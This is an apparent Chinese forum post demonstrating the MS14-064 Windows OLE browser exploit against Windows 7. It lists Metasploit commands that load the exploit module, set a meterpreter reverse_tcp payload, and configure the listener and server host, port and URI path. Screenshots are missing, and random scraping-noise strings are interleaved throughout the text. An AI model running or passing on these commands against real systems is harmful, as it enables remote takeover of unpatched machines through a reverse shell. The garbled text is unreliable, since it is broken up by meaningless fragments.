MS14-064 漏洞测试入侵win7

admin

4 n: K5 X& C" t+ E; S4 u 我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示 ' P/ _9 A' j: J3 I# }

# O7 y; R# \: a& I* ?) x' S 开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图：

' I# I4 [4 C6 h4 `) o) @8 m

4 ?4 j. W/ d2 _9 k/ W5 r 然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp % D4 e- t/ L: J' b

U: q% @& b" s8 z5 J

# b% } K9 l/ L6 n             set AllowPowershellPrompt true

            Set LHOST 192.168.0.109 & S% _$ J/ b* G3 q) s

% Z; |; P/ i+ h* m

            set SRVHOST 192.168.0.109 % J! _. w$ g; [" c/ y

! {8 [ e& k' P6 i+ v6 S

            Set uripath share - d6 S2 J' ?7 Y7 T$ p Y; W

2 ~2 d# {! X( z) B4 n7 x

! V$ p) l3 Q$ o, e             Set srvport 80 ( ]0 z( B& j9 w' ~6 V2 R6 K

( B+ C1 V+ S0 A: \' c

: i4 _+ u) ]5 w7 j  

) G+ l% ~* }0 ?) A9 u" E- p

 

  % i. Z1 X3 J4 j7 |9 ^

. Y4 n& s, S6 J1 ~

; _2 _% e. N# N   ; x- m1 K. o0 O$ J# B, w- I/ k: O

  4 I, g k) J; z. O8 d7 Q

下面我们来访问本地地址如图： & m) l7 P* L" X& N" |0 S: U

" m: f9 W4 b& [8 M2 T

  . c$ A8 S- `0 W8 m

" e( z2 j0 G$ ^ q" \   4 {& L7 B& a4 @- a" r$ n" u

: J" w; x* E/ N& ?; ]

4 n O- L) K, ^1 G: C, g3 R0 ` 6 u" G* Y3 t4 n+ A$ I